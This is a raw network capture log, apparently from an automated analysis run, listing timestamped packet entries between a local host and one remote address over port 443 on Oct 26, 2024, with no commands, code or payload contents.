Oct 26, 2024 13:46:28.698414087 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.698606968 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.698626995 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.698637962 CEST	49909	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.698643923 CEST	443	49909	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.701191902 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.701230049 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.701288939 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.701416016 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.701431036 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.929260015 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.929831982 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.929840088 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.930392027 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.930397987 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.995265007 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.995781898 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.995805025 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:28.996269941 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:28.996274948 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.005394936 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.005793095 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.005822897 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.006238937 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.006246090 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.023219109 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.027288914 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.027318001 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.027858019 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.027863026 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.069960117 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.070030928 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.070127010 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.070357084 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.070357084 CEST	49910	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.070372105 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.070379972 CEST	443	49910	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.073482990 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.073497057 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.073596954 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.073762894 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.073784113 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140567064 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140600920 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140620947 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140665054 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140722036 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.140784979 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.140830040 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.141035080 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.141060114 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.141063929 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.141083002 CEST	49911	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.141084909 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.141091108 CEST	443	49911	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.141105890 CEST	49912	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.141113043 CEST	443	49912	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.144289970 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144334078 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.144383907 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144407988 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.144443989 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144449949 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144579887 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144593000 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.144656897 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.144669056 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.155906916 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.156019926 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.156203985 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.156385899 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.156385899 CEST	49913	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.156409025 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.156419039 CEST	443	49913	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.159351110 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.159392118 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.159512043 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.159696102 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.159708977 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.442393064 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.442936897 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.442965984 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.443665981 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.443675041 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.577047110 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.577084064 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.577132940 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.577193975 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.577230930 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.577481031 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.577502012 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.577513933 CEST	49914	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.577519894 CEST	443	49914	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.580553055 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.580615997 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.580708027 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.580872059 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.580888033 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.810152054 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.810731888 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.810740948 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.811352968 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.811358929 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.869129896 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.869652033 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.869680882 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.870357037 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.870364904 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.889206886 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.889786959 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.889813900 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.890904903 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.890917063 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.896930933 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.897568941 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.897594929 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.898494005 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.898502111 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.942348003 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.942410946 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.942466021 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.944492102 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.944499969 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.944511890 CEST	49915	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.944519043 CEST	443	49915	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.948728085 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.948750019 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.948827028 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.948967934 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.948977947 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.999361992 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.999428988 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.999511957 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.999716043 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.999728918 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:29.999742985 CEST	49916	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:29.999748945 CEST	443	49916	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.003288984 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.003336906 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.003427982 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.003643036 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.003655910 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.032186031 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.032217026 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.032259941 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.032320976 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.032608986 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.032624006 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.032633066 CEST	49917	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.032638073 CEST	443	49917	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.037060976 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.037077904 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.037162066 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.037833929 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.037841082 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.207977057 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.208060026 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.208118916 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.208322048 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.208343029 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.208354950 CEST	49918	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.208360910 CEST	443	49918	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.211473942 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.211528063 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.211608887 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.211827040 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.211839914 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.314754009 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.315435886 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.315466881 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.315905094 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.315910101 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.452825069 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.452857018 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.452907085 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.452971935 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.453017950 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.453309059 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.453330040 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.453341007 CEST	49919	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.453347921 CEST	443	49919	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.457221985 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.457256079 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.457319021 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.457539082 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.457549095 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.697841883 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.700788021 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.700822115 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.701375008 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.701381922 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.745254040 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.752252102 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.752279043 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.753055096 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.753061056 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.788058043 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.788961887 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.789036036 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.789561033 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.789582968 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.831151009 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.831357956 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.831527948 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.831624031 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.831624031 CEST	49920	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.831670046 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.831701994 CEST	443	49920	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.835184097 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.835216045 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.835292101 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.835486889 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.835495949 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.878411055 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.878470898 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.878510952 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.878736973 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.878745079 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.878755093 CEST	49921	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.878760099 CEST	443	49921	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.881666899 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.881675005 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.881727934 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.881937981 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.881944895 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.921685934 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.921705008 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.921758890 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.921789885 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.921843052 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.921987057 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.921987057 CEST	49922	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.922034979 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.922060966 CEST	443	49922	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.924796104 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.924838066 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.924901962 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.925105095 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.925116062 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.947521925 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.948282003 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.948302984 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:30.948753119 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:30.948757887 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.077266932 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.077418089 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.077476978 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.077622890 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.077636957 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.077651978 CEST	49923	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.077656984 CEST	443	49923	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.080311060 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.080352068 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.080421925 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.080573082 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.080590963 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.210936069 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.211402893 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.211425066 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.211841106 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.211847067 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.349103928 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.349185944 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.349256039 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.349535942 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.349554062 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.349567890 CEST	49924	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.349572897 CEST	443	49924	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.352334976 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.352370024 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.352546930 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.352691889 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.352704048 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.568377018 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.569142103 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.569154024 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.569612980 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.569617987 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.659303904 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.659360886 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.659823895 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.659843922 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.660082102 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.660130978 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.660342932 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.660351992 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.660527945 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.660537958 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.698607922 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.698642969 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.698699951 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.698803902 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.698841095 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.698982954 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.699006081 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.699029922 CEST	49925	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.699035883 CEST	443	49925	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.701622009 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.701670885 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.701760054 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.701900959 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.701915979 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.789678097 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.789762020 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.789820910 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.789994001 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.790019035 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.790030003 CEST	49926	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.790035963 CEST	443	49926	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.791404963 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.791433096 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.791476965 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.791479111 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.791539907 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.791682959 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.791696072 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.791722059 CEST	49927	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.791727066 CEST	443	49927	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.793643951 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.793677092 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.793741941 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.795064926 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.795104980 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.795181036 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.795205116 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.795216084 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.795300961 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.795310020 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.837532043 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.838210106 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.838242054 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.838690042 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.838699102 CEST	443	49928	13.107.246.42	192.168.2.9
